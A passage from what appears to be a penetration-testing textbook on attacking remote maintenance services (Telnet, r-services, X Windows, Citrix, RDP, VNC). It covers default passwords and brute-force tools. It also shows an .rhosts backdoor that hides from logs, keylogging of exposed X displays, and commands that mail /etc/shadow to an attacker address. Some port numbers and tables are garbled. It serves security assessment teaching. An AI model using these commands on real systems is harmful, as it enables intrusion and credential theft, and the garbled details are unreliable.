<td>Solaris 5.8</td>
</tr>
<tr>
<td>Solaris 7</td>
<td>Solaris 5.7</td>
</tr>
<tr>
<td>Solaris 2.6</td>
<td>Solaris 5.6</td>
</tr>
<tr>
<td>Solaris 2.4 or 2.5.1</td>
<td>Unix(r) System V Release 4.0 (hostname)</td>
</tr>
<tr>
<td>Solaris 4.1.x</td>
<td>SunOS Unix (hostname)</td>
</tr>
<tr>
<td>FreeBSD</td>
<td>FreeBSD/i386 (hostname) (tty1)</td>
</tr>
<tr>
<td>NetBSD</td>
<td>NetBSD/i386 (hostname) (tty1)</td>
</tr>
<tr>
<td>OpenBSD</td>
<td>OpenBSD/i386 (hostname) (tty1)</td>
</tr>
<tr>
<td>Red Hat 8.0</td>
<td>Red Hat Linux release 8.0 (Psyche)</td>
</tr>
<tr>
<td>Debian 3.0</td>
<td>Debian GNU/Linux 3.0 / hostname</td>
</tr>
<tr>
<td>SGI IRIX 6.x</td>
<td>IRIX (hostname)</td>
</tr>
<tr>
<td>IBM AIX 5.2.x</td>
<td>AIX Version 5 (C) Copyrights by IBM and by others 1982, 2000.</td>
</tr>
</tbody>
</table>
Telnet Brute-Force Password Grinding

If services such as Sendmail are accessible, you can enumerate local users and attempt to gain access through Telnet. Chapters 5 and 11 cover enumeration techniques using various services like SMTP, SNMP, LDAP, and others.

Telnet services can be brute-forced using THC Hydra and Brutus, available from:

http://www.thc.org/releases.php
http://www.hoobie.net/brutus/brutus-download.html

Brutus is a Windows graphical brute-force tool capable of running parallel login attempts. Figure 8-6 shows the user interface and options to use when launching a Telnet password-grinding attack.

Table 8-11. Common Telnet banner list (continued)

<table>
<thead>
<tr>
<th>Operating system</th>
<th>Telnet banner</th>
</tr>
</thead>
<tbody>
<tr>
<td>IBM AIX 4.2.x or 4.3.x</td>
<td>AIX Version 4 (C) Copyrights by IBM and by others 1982, 1996.</td>
</tr>
<tr>
<td>Nokia IPSO</td>
<td>IPSO (hostname) (tty0)</td>
</tr>
<tr>
<td>Cisco IOS</td>
<td>User Access Verification</td>
</tr>
<tr>
<td>Livingston ComOS</td>
<td>ComOS - Livingston PortMaster</td>
</tr>
</tbody>
</table>

Figure 8-6. The Brutus password-grinding tool
Common device Telnet passwords

Many devices such as routers, switches, and print servers are often left with default administrative passwords set. Table 8-12 lists common strings you should attempt for both usernames and passwords when brute-forcing network devices.

Table 8-12. Common device password list

<table>
<thead>
<tr>
<th>Manufacturer</th>
<th>Username and password combinations to attempt</th>
</tr>
</thead>
<tbody>
<tr>
<td>Cisco</td>
<td>cisco, c, lcsisco, enable, system, admin, router</td>
</tr>
<tr>
<td>3Com</td>
<td>admin, adm, tech, synnet, manager, monitor, debug, security</td>
</tr>
<tr>
<td>Bay Networks</td>
<td>security, manager, user</td>
</tr>
<tr>
<td>D-Link</td>
<td>private, admin, user, year2000, d-link</td>
</tr>
<tr>
<td>Xyplex</td>
<td>system, access</td>
</tr>
</tbody>
</table>

In the field, I have found many smaller manufacturers of routers (in particular ADSL routers for small offices and home users) use passwords of 1234 and 12345 for the admin or root accounts. These credentials are worth trying for device manufacturers not listed in Table 8-12.

The Phenoelit site has a comprehensive list of hundreds of default device passwords for over 30 manufacturers, accessible at http://www.phenoelit.de/dpl/dpl.html.

Dictionary files and word lists

You can use dictionary files containing thousands of words when performing brute-force password grinding. Packet Storm has a number of useful lists at http://packetstormsecurity.org/Crackers/wordlists/. The O’Reilly site also has a small collection of excellent word lists that I use on a daily basis; they are zipped and available for download at http://examples.oreilly.com/networksa/tools/wordlists.zip.

Telnet Vulnerabilities

A number of Telnet service vulnerabilities have been published in recent years. Often the vulnerability does not exist in the Telnet service daemon itself, but in the /bin/login binary or other local authentication mechanisms used. Therefore, a number of these issues can be exploited through other vectors (such as rlogind). Table 8-13 lists remotely exploitable Telnet service vulnerabilities and associated MITRE CVE references.

Table 8-13. Remotely exploitable Telnet service vulnerabilities

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>Date</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2007-0882</td>
<td>10/02/2007</td>
<td>Solaris 10 and 11 --client sequence authentication bypass attack</td>
</tr>
<tr>
<td>CVE-2005-1771</td>
<td>25/05/2005</td>
<td>HP-UX trusted 8.11.23 Telnet service authentication bug</td>
</tr>
</tbody>
</table>
Telnet exploit scripts
The public exploit scripts in Table 8-14 are available for a number of these vulnerabilities in the accompanying tools archive for this book, at http://examples.oreilly.com/networksa/tools/.

Table 8-14. Publicly available Telnet exploit scripts

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>Target platform</th>
<th>Exploit script(s)</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-0797</td>
<td>Solaris 8 and prior</td>
<td>7350logout and holygrail.c</td>
</tr>
<tr>
<td>CVE-2001-0554</td>
<td>FreeBSD 4.x</td>
<td>7350854.c</td>
</tr>
</tbody>
</table>

MSF has exploit modules for CVE-2001-0797 (System-V derived /bin/login static overflow) and CVE-2007-0882 (Solaris 10 and 11 -f client sequence bug). For the full list of exploit modules that MSF supports in its stable branch, see http://framework.metasploit.com/exploits/list.

CORE IMPACT also supports CVE-2001-0797 and CVE-2007-0882 (the two Solaris Telnet exploits supported by MSF). Immunity CANVAS only supports CVE-2001-0797 at this time.

R-Services
Unix r-services are common to commercial platforms, including Solaris, HP-UX, and AIX. I have assembled a list from the /etc/services file as follows:

- exec: $12/tcp
- login: $13/tcp
- shell: $14/tcp

Each service runs using standard PAM username and password authentication, which is overridden by ~/.rhosts and /etc/hosts.equiv entries defining trusted hosts and usernames. Locally, you will find that on Unix-based systems, the exec service is in.rexecd, the login service is in.rlogind, and the shell service is in.rshd.
Directly Accessing R-Services

From a Unix-based platform, you use rsh, rlogin, and reexec clients to access the respective r-services running on a remote host. Example 8-10 shows how you can use each client from the command shell.

Example 8-10. Standard r-services clients

```
$ rsh
usage: rsh [-nd] [-l login] host [command]
$ rlogin
usage: rlogin [ -8EL] [-e char] [ -l username ] host
$ reexec
reexec: Require at least a host name and command.
Usage: reexec [-abcdhns] -l username -p password host command
   -l username: Sets the login name for the remote host.
   -p password: Sets the password for the remote host.
   -n: Explicitly prompt for name and password.
   -a: Do not set up an auxiliary channel for standard error.
   -b: Use BSD-rsh type signal handling.
   -c: Do not close remote standard in when local input closes
   -d: Turn on debugging information.
   -h: Print this usage message.
   -s: Do not echo signals to the remote process.
```

Unix ~/.rhosts and /etc/hosts.equiv files

The .rhosts file is in the user home directory under Unix and contains a list of username and IP address or machine hostname pairs, such as the following:

```
$ pwd
/home/chris
$ cat .rhosts
chris  mail.trustmatta.com
+   192.168.0.55
$
```

In this example, I can use any of the r-services (rsh, rlogin, or reexec) to connect to this host from mail.trustmatta.com if I am logged into the host as chris or from 192.168.0.55 with any username on that host.

When a user connects to the host running rshd (the remote shell daemon running on TCP port 514), the source IP address is cross-referenced against the .rhosts file, and the username is verified by querying the identd service running at the source. If these details are valid, direct access is given to the host without even requiring a password.

A simple yet effective backdoor for most Unix-based systems running rshd is to place an .rhosts file in the home directory of the bin user (/usr/bin/ under Solaris) containing the wildcards + +. Example 8-11 demonstrates planting this file to provide access to the host.
A useful characteristic of the rshd service is that terminals aren’t assigned to processes run through rsh. This means that bin access through the rshd backdoor doesn’t appear in the utmp or wtmp logs, so it is cloaked within the system (not appearing within w or who listings).

It is very easy to get from bin to root under Unix-based systems because the bin user owns many binaries (found under directories including /usr/sbin/) that run as services with root privileges.

The /etc/hosts.equiv file is a system-level file that defines trusted hostnames or IP addresses that can freely access r-services. SunOS 4.1.3_U1 shipped with a + wildcard in the /etc/hosts.equiv file, which allows attackers to instantly gain bin user access to SunOS 4.1.3_U1 servers with TCP port 514 open.

R-Services Brute-Force

User passwords can be brute-forced across rlogind because the service calls /bin/login. The rshd and rexecd services don’t pass username and password details to the login program in this way; they rely on .rhosts and /etc/hosts.equiv entries for authentication.

I recommend that for each user enumerated through Finger, SMTP, and other information-leak vulnerabilities, you should try to access the host directly through open r-services in the following fashion:

```bash
$ echo + + > /usr/bin/.rhosts
$ exit
hacker@launchpad/$ rsh -l bin 192.168.0.20 csh -i
Warning: no access to tty; thus no job control in this shell...
www%
```

Example 8-11. Setting up a simple rsh backdoor
Spoofing RSH Connections

If you are aware of trust between hosts, you can spoof RSH connections to appear as if they are from trusted hosts using IP sequence prediction and falsified client responses to match entries in .rhosts files server-side. One tool that can perform RSH spoofing and execute commands is ADMrsh, available from the ADM site (http://adm.freelsd.net/ADM/). The utility requires the latest version of ADMspoon; its header files and its usage is shown here:

```bash
ADMrsh
***=

It's very easy to use (like all the ADM products).
ADMrsh [ips] [ipd] [ipl] [luser] [ruser] [cmd]

Parameters List:
ips = ip source (ip of the trusted host)
ipd = ip destination (ip of the victim)
ipl = ip local (your ip to receive the informations)
luser = local user
ruser = remote user
cmd = command to execute

If ya don't understand, this is an example:
ADMrsh a.foo.us b.foo.us bad.org root root "echo"+ -+>/rhosts"

Credit's: Heike, ALL ADM Crew, !w00w00, Darknet
ADMrsh 0.5 pub (c) ADM <-- hehe ;)
```

If the ADM web site is down or no longer archives the aforementioned files, you can download them from the O'Reilly security tools archive at the following locations (please note case-sensitivity):

- http://examples.oreilly.com/networksa/tools/ADMrsh0.5.tgz

Known R-Services Vulnerabilities

There are a large number of locally exploitable r-services issues relating to rshd and rexecd in particular; these are listed in MITRE CVE (http://cve.mitre.org). Table 8-15 lists remotely exploitable vulnerabilities in r-services.

Table 8-15. Remotely exploitable r-services vulnerabilities

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>Date</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2001-0797</td>
<td>16/10/2001</td>
<td>System V-derived /bin/login static overflow vulnerability, exploitable through rlogind.</td>
</tr>
<tr>
<td>CVE-1999-1450</td>
<td>27/01/1999</td>
<td>SCO Unix OpenServer 5.0.5 and UnixWare 7.0.1 and earlier allows remote attackers to gain privileges through rshd and rlogind.</td>
</tr>
</tbody>
</table>
R-Services exploit scripts

Exploit scripts for these vulnerabilities are publicly available from archive sites such as Packet Storm (http://www.packetstormsecurity.org). At the time of this writing, the only issue supported by MSF, CORE IMPACT, and Immunity CANVAS is CVE-2001-0797.

X Windows

X Windows is commonly used by most major Unix-like operating systems as the underlying system for displaying graphical applications. For example, Gnome, CDE, KDE, and applications including xterm and ghostview run using the X Windows protocol.

X Windows was developed at MIT in 1984, with version 11 first released in 1987. The X Window system is currently at release 6 of version 11 (commonly referred to as X11R6). Over the past few years since release 2, the X Window system has been maintained by the X Consortium, an association of manufacturers supporting the X standard.

X Windows Authentication

X servers listen on TCP ports 6000 to 6063 (depending on the number of concurrent displays). Most of the time users simply access their local X server, although X can be accessed over a network for remote use. The two authentication mechanisms within X Windows are xhost and xauth, which I discuss in the following sections.

xhost

Host-based X authentication allows users to specify which IP addresses and hosts have access to the X server. The xhost command is used with + and - options to allow and deny X access from individual hosts (i.e., xhost +192.168.189.4). If the + option is used with no address, any remote host can access the X server.

xhost authentication is dangerous and doesn’t provide the granularity required in complex environments. By issuing an xhost - command, host-based authentication is disabled, and only local access is granted.

Table 8-15. Remotely exploitable r-services vulnerabilities (continued)

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>Date</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-1999-1266</td>
<td>13/06/1997</td>
<td>rshd generates different error messages when a valid username is provided versus an invalid name; this allows remote attackers to determine valid users.</td>
</tr>
<tr>
<td>CVE-1999-1059</td>
<td>25/02/1992</td>
<td>rexec for various SVR4 systems allows remote attackers to execute arbitrary commands.</td>
</tr>
<tr>
<td>CVE-1999-0180</td>
<td>Unknown</td>
<td>rshd allows users to log in with a NULL username and execute commands.</td>
</tr>
</tbody>
</table>
When a legitimate user logs in locally to X Windows, a magic cookie is placed into the .Xauthority file under the user's home directory. The .Xauthority file contains one cookie for each X display the user can use; this can be manipulated using the xauth utility as shown here:

```bash
$ xauth list
onyx.example.org:0 MIT-MAGIC-COOKIE-1 d5d3634d2e6d64b1c078ae61ea846b5
onyx/unix:0 MIT-MAGIC-COOKIE-1 d5d3634d2e6d64b1c078ae61ea846b5
$ 
```

X server magic cookies can be placed into other user .Xauthority files (even on remote hosts) by simply copying the cookie and using xauth as follows:

```bash
$ xauth add onyx.example.org:0 MIT-MAGIC-COOKIE-1 d5d3634d2e6d64b1c078ae61ea846b5
$ xauth list
onyx.example.org:0 MIT-MAGIC-COOKIE-1 d5d3634d2e6d64b1c078ae61ea846b5
$ 
```

### Assessing X Servers

The most obvious vulnerability to check for when assessing X servers is whether xhost authentication has been enabled with the + wildcard. The xscan utility (available at [http://packetstormsecurity.org/Exploit_Code_Archive/xscan.tar.gz](http://packetstormsecurity.org/Exploit_Code_Archive/xscan.tar.gz)) can quickly identify poorly configured X servers.

Example 8-12 shows the xscan tool scanning the 192.168.189.0/24 network.

**Example 8-12. Running xscan**

```bash
$ ./xscan 192.168.189
Scanning 192.168.189.1
Scanning hostname 192.168.189.1 ...
Connecting to 192.168.189.1 (gatekeeper) on port 6000...
Host 192.168.189.1 is not running X.
Scanning hostname 192.168.189.66 ...
Connecting to 192.168.189.66 (xserv) on port 6000...
Connected.
Host 192.168.189.66 is running X.
Starting keyboard logging of host 192.168.189.66 to file KEYLOG192.168.189.66:0.0...
```

At this point, the tool taps into the X server display (:0.0) on 192.168.189.66 and siphons keystrokes from the active programs on the remote system (to a file called KEYLOG192.168.189.66:0.0).

Upon identifying accessible X servers and displays, an attacker can do the following:

- List the open windows for that X display
- Take screenshots of specific open windows
- Capture keystrokes from specific windows
- Send keystrokes to specific windows
List open windows

To list the open windows for a given accessible X server display, issue the following \texttt{xwininfo} command:

\begin{verbatim}
$ xwininfo -tree -root -display 192.168.189.66:0 | grep -i term
0x2c00005 "root@onyx: /": ("GnomeTerminal" "GnomeTerminal.0")
0x2c00014 "root@xserv: /": ("GnomeTerminal" "GnomeTerminal.0")
\end{verbatim}

In this case, the output from \texttt{xwininfo} is piped through \texttt{grep} to identify open terminal sessions. In most cases, you are presented with a large number of open windows, so it’s useful to filter the output in this way.

Here, two open windows have hex window-ID values of \texttt{0x2c00005} and \texttt{0x2c00014}. These ID values are needed when using tools to monitor and manipulate specific processes.

Take screenshots of specific open windows

X11R6 has a built-in tool called \texttt{xwd} that can take snapshots of particular windows. The utility uses \texttt{XGetImage()} as the main function call to do this. The output can be piped into the \texttt{xwud} command, which displays \texttt{xwd} images. Here are two examples of the tool being run to gather screenshots:

Show the entire display at \texttt{192.168.189.66:0}:

\begin{verbatim}
$ xwd -root -display 192.168.189.66:0 | xwud
\end{verbatim}

Show the terminal session window at \texttt{0x2c00005}:

\begin{verbatim}
$ xwd -id 0x2c00005 -display 192.168.189.66:0 | xwud
\end{verbatim}

\texttt{xwatchwin} also takes updated screenshots every few seconds and is available at \url{ftp://ftp.x.org/contrib/utilities/xwatchwin.tar.Z}.

If you specify a window ID using \texttt{xwatchwin}, it must be an integer instead of hex. The Window ID integer can be displayed if you add the \texttt{-int} option to \texttt{xwininfo}. Here are two command-line examples of the tool:

Show the entire display at \texttt{192.168.189.66:0}:

\begin{verbatim}
$ ./xwatchwin 192.168.189.66 root
\end{verbatim}

Show a specific window ID at \texttt{192.168.189.66:0}:

\begin{verbatim}
$ ./xwatchwin 192.168.189.66 46268351
\end{verbatim}

Capture keystrokes from specific windows

You can use two tools to capture keystrokes from exposed X servers: \texttt{snoop} and \texttt{xspy}, which are available at:

\begin{verbatim}
http://packetstormsecurity.org/Exploit_Code_Archive/xsnoop.c
http://packetstormsecurity.org/Exploit_Code_Archive/xspy.tar.gz
\end{verbatim}
Upon compiling, you can run both tools from the command line. Two examples follow, showing how these tools can be used to log keystrokes. Example 8-13 shows `xsnoop` being used to monitor the specific window ID 0x2c00005.

Example 8-13. Using xsnoop to monitor a specific window

```
$ ./xsnoop -h 0x2c00005 -d 192.168.189.66:0
www.hotmail.com
ai2m
elidor
```

The entire 192.168.189.66:0 display can be monitored using xspy, as shown in Example 8-14.

Example 8-14. Using xspy to monitor the entire display

```
$ ./xspy -display 192.168.189.66:0
John,

It was good to meet with your earlier on. I’ve enclosed the AIX hardening guide as requested - don’t hesitate to drop me a line if you have any further queries!

Regards,

Mike

netscape
www.amazon.com
mike@mickeymouseconsulting.com
pa55w0rd!
```

Send keystrokes to specific windows

Pushing keystrokes to specific windows has varying mileage depending on the X server. `xpusher` and `xtester` are two tools you can use; they are available at:

```
http://examples.oreilly.com/networksa/tools/xpusher.c
http://examples.oreilly.com/networksa/tools/xtester.c
```

The `xpusher` and `xtester` programs take two different approaches when trying to send keystrokes to the remote X server. The `xpusher` tool uses the `XsendEvent()` function, and `xtester` takes advantage of the XTest extensions included with X11R6. Recent X servers mark remote input through `XsendEvent()` as synthetic and don’t process it, so I recommend the `xtester` route if you are assessing an X11R6 server.

Both tools are extremely simple to use when you know to which windows you want to send keystrokes (using the `xwininfo` utility). Two command-line examples of the `xpusher` and `xtester` usage follow; both email evilhacker@hotmail.com the `/etc/shadow` file from the server.
Using `xpuser` to send commands to window 0x2c00005:

```
./xpuser -h 0x2c00005 -display 192.168.189.66:0mail evilhacker@hotmail.com < /etc/shadow
```

Using `xtester` to send commands to window 0x2c00005:

```
./xtester 0x2c00005 192.168.189.66:0mail evilhacker@hotmail.com < /etc/shadow
```

**Known X Window System and Window Manager Vulnerabilities**

The majority of vulnerabilities in XFree86 and other window management systems are locally exploitable (through abusing symlink vulnerabilities or race conditions), and I don’t cover them here. Remotely exploitable bugs in X Windows, CDE, and associated technologies are listed in Table 8-16.

Table 8-16. Remotely exploitable X Window system vulnerabilities

<table>
<thead>
<tr>
<th>CVE reference(s)</th>
<th>Date</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2004-0914</td>
<td>17/11/2004</td>
<td>Multiple libXpm 6.8.1 vulnerabilities</td>
</tr>
<tr>
<td>CVE-2004-0368</td>
<td>23/03/2004</td>
<td>CDE dtlogin (on Solaris, HP-UX, and other platforms) crafted XDMCP packet overflow</td>
</tr>
<tr>
<td>CVE-2004-0419</td>
<td>27/05/2004</td>
<td>XDM socket authentication bypass vulnerability</td>
</tr>
<tr>
<td>CVE-2004-0106</td>
<td>13/02/2004</td>
<td>XFree86 4.3.0 font file handling vulnerability</td>
</tr>
<tr>
<td>CVE-2004-0093 and CVE-2004-0094</td>
<td>19/02/2004</td>
<td>XFree86 4.1.0 GLX extension DoS and DRI overflows</td>
</tr>
<tr>
<td>CVE-2004-0083 and CVE-2004-0084</td>
<td>10/02/2004</td>
<td>XFree86 4.3.0 ReadFontAlias() font alias file overflows</td>
</tr>
<tr>
<td>CVE-2003-0730</td>
<td>30/08/2003</td>
<td>Multiple XFree86 4.3.0 font file handling vulnerabilities</td>
</tr>
<tr>
<td>CVE-2001-0803</td>
<td>12/11/2001</td>
<td>CDE Desktop Subprocess Control Daemon (DTSPCD) allows remote attackers to execute arbitrary commands</td>
</tr>
</tbody>
</table>

CVE-2001-0803 is unique in that it requires access to TCP port 6112 (the DTSPCD service) and not the standard X Windows service (TCP port 6000). This service can also be queried to reveal the operating platform and some environment information.

**X Windows exploit scripts**

Exploit scripts for these vulnerabilities are publicly available from archive sites such as Packet Storm ([http://www.packetstormsecurity.org](http://www.packetstormsecurity.org)). At this time, the only issue supported by exploitation frameworks (including MSF, CANVAS, and IMPACT) is CVE-2001-0803 (DTSPCD overflow).
**Citrix**

Citrix is a scalable thin-client Windows service that is accessed directly through TCP port 1494 server-side. The protocol that Citrix uses is known as *Independent Computing Architecture* (ICA). After finding a server with TCP port 1494 open, you should use a Citrix ICA client to connect to the service for further investigation (available from http://www.citrix.com/download/ica_clients.asp).

**Using the Citrix ICA Client**

When you run the client software, you should add a new ICA connection, using TCP/IP to communicate with the server and provide the IP address of the host with port 1494 open, as shown in Figure 8-7.

![Add New ICA Connection](image)

*Figure 8-7. Setting up the ICA client to connect*

Username, password, and application details can all be left blank if you have no insight into the Citrix configuration. Upon entering the details correctly and connecting, a login screen like that shown in Figure 8-8 (depending on the server configuration) appears.

In some instances, you log into a Windows desktop environment with access to published applications such as Microsoft Word. In the case of having to authenticate first (as in Figure 8-8), the options are to provide a username and password combination that has already been compromised or to launch a brute-force attack.
Accessing Nonpublic Published Applications

If the Citrix server is configured to allow access only to specific published applications (i.e., doesn’t drop you down to a login screen), you can use a few techniques to enumerate and access these applications. This enumeration is performed over UDP port 1604, which is the Citrix ICA browser service port. Ian Vitek (http://www.ixsecurity.com) released two tools at DEF CON 10 to perform Citrix enumeration and attack.

http://packetstormsecurity.org/defcon10/dc10-vitek/citrix-pa-scan.c
http://packetstormsecurity.org/defcon10/dc10-vitek/citrix-pa-proxy.pl

Example 8-15 shows the citrix-pa-scan utility used to list nonpublic published applications.

Example 8-15. Using citrix-pa-scan to list published applications

$ ./citrix-pa-scan 212.123.69.1

Citrix Published Application Scanner version 1.0
By Ian Vitek, ian.vitek@ixsecurity.com

212.123.69.1: Printer Config
Admin Desktop
i-desktop
To connect to these published applications when the master browser isn’t publicly accessible, you can use the `citrix-pa-proxy` script to provide spoofed master browser details to the Citrix server as the connection is initiated:

```bash
$ perl citrix-pa-proxy.pl 212.123.69.1 192.168.189.10
```

The proxy now listens on 192.168.189.10 and forwards ICA traffic to 212.123.69.1. Next, point your ICA client at the proxy (setting it as your master browser through the Server Location button), and specify the published application you wish to connect to, as shown in Figure 8-9.

![Figure 8-9. Connecting to a specific published application](image)


**Citrix Vulnerabilities**

Remotely exploitable bugs in Citrix service technologies, including Citrix Presentation Server, Citrix Access Gateway, Citrix MetaFrame XP, and Citrix NFuse, are listed in Table 8-17.
Citrix exploit scripts

Exploit scripts for these vulnerabilities are publicly available from archive sites such as Packet Storm (http://www.packetstormsecurity.org). At the time of this writing, only Immunity CANVAS supports CVE-2007-0444 (Citrix print provider library stack overflow).

There are a number of client-side Citrix issues that can be exploited by remote web sites. Refer to CVE-2007-1196 and CVE-2006-6334 for further details. CVE-2005-3652 and CVE-2004-1078 are similar client-side issues. You can search MITRE CVE for Citrix issues to obtain details of current client-side, local server, and remote server issues.

Microsoft Remote Desktop Protocol

Remote Desktop Protocol (RDP, also known as Microsoft Terminal Services) provides thin client access to the Windows desktop. The Windows 2000, XP, and 2003 Server platforms usually run these services. The RDP service runs by default on TCP port 3389, and is accessed using the Remote Desktop client, as shown in Figure 8-10.

RDP Brute-Force Password Grinding

After locating accessible RDP servers (by port scanning for TCP 3389) and performing enumeration through anonymous NetBIOS sessions (see Chapter 9) to identify potentially weak user accounts, an attacker can launch brute-force password-grinding attacks. The Administrator account is usually a good place to start because it can’t be locked locally upon multiple failed login attempts.

Tim Mullen put together a useful tool called TSGrinder for brute-forcing terminal services, available at [http://www.hammerofgod.com/download.html](http://www.hammerofgod.com/download.html). Example 8-16 shows the TSGrinder usage from a Windows command prompt.

*Example 8-16. Using TSGrinder*

D:\tsgrinder> **tsgrinder**

```
Usage:
   tsgrinder [options] server

Options:
   -w dictionary file (default 'dict')
   -l 'leet' translation file
   -d domain name
   -u username (default 'administrator'
   -b banner flag
   -n number of simultaneous threads
   -D debug level (default 9, lower number is more output)

Example:
   tsgrinder -w words -l leet -d workgroup -u administrator -b
   -n 2 10.1.1.1
```

The TSGrinder tool takes advantage of two features within the terminal services security model; the first is that failed authentication attempts are only logged if a user provides six incorrect username and password combinations within a given
session, and the second feature is that the tool uses RDP encrypted channel options when attempting to log in so that an IDS won’t pick up on the attack.

RDP Vulnerabilities

A number of DoS and memory leak issues have been found in Microsoft Terminal Services over the last three years. Three issues that allow attackers to perform man-in-the-middle (MITM) attacks against RDP sessions are listed in MITRE CVE as CVE-2007-2593, CVE-2005-1794, and CVE-2002-0863. Table 8-18 lists a serious remotely exploitable issue within RDP.

Table 8-18. Remotely exploitable Microsoft Terminal Services bug

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>Date</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2000-1149</td>
<td>08/11/2000</td>
<td>RegAPI.DLL overflow in Windows NT 4.0 Terminal Server allows remote attackers to execute arbitrary commands via a long username.</td>
</tr>
</tbody>
</table>

No public exploits for this issue are known at this time. Exploitation frameworks (including MSF, CANVAS, and IMPACT) do not support RDP or Terminal Services vulnerabilities at the time of this writing.

RDP sessions can be sniffed and hijacked using a MITM attack, compromising authentication credentials. Cain & Abel (http://www.oxid.it) supports this attack.

VNC

Virtual Network Computing (VNC) was a protocol originally developed by AT&T. Since then, a number of VNC packages have been produced that are both free and commercially supported, providing remote desktop access to Windows and Linux platforms in particular. VNC uses the following TCP ports:

- Port 5800 for HTTP access using a Java client through a web browser
- Port 5900 for direct access using the native VNC viewer

From a security perspective, VNC is relatively straightforward to compromise. A major issue with VNC security is its authentication mechanism, shown in Figure 8-11.

![VNC Authentication](image)

Figure 8-11. VNC authentication relies on a single password
Most VNC services require only one piece of data for authentication purposes: a session password with a maximum length of eight characters. On the target server, the VNC password string is stored in the Windows registry under the following keys:

\HKEY_CURRENT_USER\Software\ORL\WinVNC3
\HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3

A fixed key encrypts the VNC password using DES, so if an attacker gains read access to the system registry across the network (often accessible on poorly protected Windows hosts), she can compromise the VNC session password. The fixed key is found in the VNC source code (0x238210763578887 at the time of writing).

**VNC Brute-Force Password Grinding**

VNCrack by FX of Phenoelit is a Unix-based VNC cracking utility that’s available from [http://www.phenoelit.de/vncrack/](http://www.phenoelit.de/vncrack/). You can use VNCrack to perform decryption of the VNC session password retrieved from the system registry, as well as active brute force against the VNC service over a network.

The VNC handshake can be sniffed and the session password compromised using the Unix-based PHoss network sniffing utility, available from Phenoelit at [http://www.phenoelit.de/phoss/](http://www.phenoelit.de/phoss/).

Example 8-17 shows the usage of the Unix-based VNCrack utility.

*Example 8-17. Using VNCrack*

```bash
$ ./vncrack
VNCrack
$Id$
by Phenoelit (http://www.phenoelit.de/)

Usage:
Online: ./vncrack -h target.host.com -w wordlist.txt [-opt's]
Passwd: ./vncrack -C /home/some/user/.vnc/passwd
Windows interactive mode: ./vncrack -W
   enter hex key one byte per line - find it in
      \HKEY_CURRENT_USER\Software\ORL\WinVNC3\Password or
      \HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3\Password

Options for online mode:
  -v    verbose
  -d N  Sleep N nanoseconds between each try
  -D N  Sleep N seconds between each try
  -a    Just a funny thing
  -p P  connect to port P instead of 5900
  -s N  Sleep N seconds in case connect() failed
Options for PHoss intercepted challenges:
  -c <challenge> challenge from PHoss output
  -r <response> response from PHoss output
```
By specifying the challenge and response traffic siphoned by PHoss, the tool can instantly compromise sniffed session passwords also. Example 8-18 shows that the VNC session password for 192.168.189.120 is control after launching a brute-force attack.

**Example 8-18. Brute-forcing the VNC password with VNCrack**

```
$ ./vncrack -h 192.168.189.120 -w common.txt
VNCrack - by Phenoelit (http://www.phenoelit.de/)
$Revision$
Server told me: connection close
Server told me: connection close

>>>>>>>>>>>>>>>
Password: control
<<<<<<<<<<<<<<
```

The VNCrack tool has been ported and compiled for Windows environments, titled VNCrackX4. Example 8-19 shows the x4 command-line options.

**Example 8-19. VNCrackX4 tool usage**

```
D:\phenoelit> x4
VNCrackX4
by Phenoelit (http://www.phenoelit.de/)

Usage:
Online: .\vncrack -h target.host.com -w wordlist.txt [-opt's]
Windows interactive mode: .\vncrack -W
  enter hex key one byte per line - find it in
  \HKEY_CURRENT_USER\Software\ORL\WinVNC3\Password or
  \HKEY_USERS\.DEFAULT\Software\ORL\WinVNC3\Password

Options for online mode:
  -v      verbose (repeat -v for more)
  -p P    connect to port P instead of 5900
Options for PHoss intercepted challenges:
  -c <challenge>  challenge from PHoss output
  -r <response>   response from PHoss output
```

If the Phenoelit site is down or no longer archives these tools, you can also access them at the following locations:

```
http://examples.oreilly.com/networksa/tools/vncrack_src.tar.gz
http://examples.oreilly.com/networksa/tools/x4.exe
```
VNC Vulnerabilities

At the time of this writing, MITRE CVE lists the following serious remotely exploit-able issues within VNC services, as detailed in Table 8-19. Two issues that allow attackers to perform MITM attacks against VNC sessions are listed in MITRE CVE as CVE-2002-1336 and CVE-2001-1422.

Table 8-19. Remotely exploitable VNC bugs

<table>
<thead>
<tr>
<th>CVE reference</th>
<th>Date</th>
<th>Notes</th>
</tr>
</thead>
<tbody>
<tr>
<td>CVE-2006-2450</td>
<td>05/07/2006</td>
<td>LibVNCServer 0.7.1 authentication bypass vulnerability</td>
</tr>
<tr>
<td>CVE-2006-2369</td>
<td>08/05/2006</td>
<td>RealVNC 4.1.1 (and other products that use RealVNC, including AdderLink IP and Cisco CallManager) authentication bypass vulnerability</td>
</tr>
<tr>
<td>CVE-2006-1652</td>
<td>05/04/2006</td>
<td>Multiple UltraVNC 1.0.1 buffer overflows</td>
</tr>
<tr>
<td>CVE-2002-2088</td>
<td>23/04/2002</td>
<td>MOSIX clump/os 5.4 blank password VNC account access</td>
</tr>
<tr>
<td>CVE-2001-0168</td>
<td>29/01/2001</td>
<td>AT&amp;T WinVNC server 3.3.3r7 HTTP GET request buffer overflow</td>
</tr>
</tbody>
</table>

VNC exploit scripts

CORE IMPACT supports CVE-2006-2369 (RealVNC 4.1.1 authentication bypass). None of the issues listed in Table 8-19 are supported by Immunity CANVAS or MSF at this time. Public exploit scripts for these vulnerabilities are available from archive sites such as Packet Storm (http://www.packetstormsecurity.org).

Remote Maintenance Services Countermeasures

The following countermeasures should be considered when hardening remote maintenance services:

- Don’t provide anonymous FTP access unless specifically required. If you are running anonymous FTP, ensure the service patches are up-to-date and that your firewall software is also current.
